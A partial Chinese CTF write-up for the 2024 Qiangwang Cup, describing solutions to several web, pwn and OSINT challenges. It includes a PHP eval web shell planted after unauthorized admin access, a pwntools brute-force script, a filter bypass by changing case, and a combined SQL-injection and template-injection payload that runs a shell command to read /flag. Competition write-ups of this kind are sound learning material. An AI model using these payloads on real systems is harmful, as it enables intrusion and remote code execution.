2024强网杯WP(部分)
xiaohuanxiong
因环境问题,当时没有截图,我这里下来复现一下
这第一步其实没怎么搞懂,反正通过未授权进去了后台
然后我们可以在支付管理界面修改代码,添加一个eval($_REQUEST[0]);
访问界面发现成功修改
使用蚁剑连接即可获得flag
pickle_jail
一键梭哈
from pwn import *
from struct import pack
def x(lian_jie, fu_zai):
lian_jie.recvuntil(b'your name?')
lian_jie.sendline(fu_zai)
lian_jie.recvuntil(b'number to win:')
lian_jie.sendline(b'\x0c')
lian_jie.recvline()
y = list("0123456789abcdef-")
f = b'flag{'
for _ in range(36):
for j in y:
with remote('ctfip', 32772) as lian_jie:
ce_shi = f + j.encode()
fu_zai = b'B' + pack('<i', len(ce_shi)) + ce_shi + b'B' + pack('<i', 36)
fu_zai = fu_zai.rjust(254, b')')
x(lian_jie, fu_zai)
xiang_ying = lian_jie.recvline().decode()
if "joined this game" in xiang_ying:
f = ce_shi
print(f)
break
paltform
目录扫描,发现www.zip存在压缩包存在源码
通过源码分析可知需要进行序列化来注入我们想要的变量且需要使用条件竞争方式读取flag
打开网站抓包,反序列化数据,EvAl函数过滤,使用大写绕过
通过条件竞争读取readflag文件,注意:其中的phpsessid字段必须保持一致
爆破模块条件竞争,成功读取到flag
Password game
访问网站任意输入抓包
任意输入查看发现需要包含大小写,再次发包需要26的倍数,输入85901是26的倍数
下图新规则
Python代码计算下
或不多说,直接给出payload如下图:
Master of OSINT
提交图片至少九张网站经纬度即可
2:121.567064,31.211279
4:118.783639,32.013321
9:114.412364,30.661245
5:106.524444,29.52234
1:99.974435,36.66634
6:112.969135,28.202621
10:120.308534,30.152654
3:103.966435,30.571344
7:112.969317,28.201594
snake
通过js更改游戏速度快满玩到source为50即可获得snake_win路径,其路径可通过SQL注入+模板注入的方式拿到flag
payload如下:
/snake_win?username=1' union select 1,2,'{{lipsum.__globals__.__builtins__.__import__("os").popen("cat /flag").read()}}'--
目录
-
-
-
-
-
-
没有评论